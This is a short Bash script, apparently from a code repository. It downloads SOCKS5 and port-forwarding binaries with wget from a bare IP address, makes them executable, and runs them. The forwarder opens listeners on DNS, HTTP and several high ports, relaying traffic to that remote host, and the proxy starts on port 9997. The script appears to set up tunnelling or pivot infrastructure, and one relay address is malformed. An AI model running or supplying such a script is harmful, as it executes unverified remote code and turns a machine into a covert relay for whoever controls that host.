17 lines
661 B
Bash
17 lines
661 B
Bash
#!/bin/bash
|
|
|
|
echo "1.download file"
|
|
wget http://42.192.52.227:9000/octopus/socks5_linux_amd64
|
|
wget http://42.192.52.227:9000/octopus/port_linux_amd64
|
|
|
|
mv port_linux_amd64 port && chmod +x port
|
|
mv socks5_linux_amd64 sock && chmod +x sock
|
|
|
|
echo "2.port open and socks "
|
|
(./port udp listen:0.0.0.0:53 conn:223.5.5.5:53 & ./port tcp listen:0.0.0.0:80 conn:42.192.52.227:80 & ./port tcp listen:0.0.0.0:9000 conn:242.192.52.227:9000 & ./port tcp listen:0.0.0.0:20672 conn:42.192.52.227:20672 & ./port tcp listen:0.0.0.0:20678 conn:42.192.52.227:20678 & ./sock 9997 ) & wait
|
|
|
|
|
|
netstat -ano|grep 53
|
|
netstat -ano|grep 9000
|
|
netstat -ano|grep 20672
|
|
netstat -ano|grep 20678 |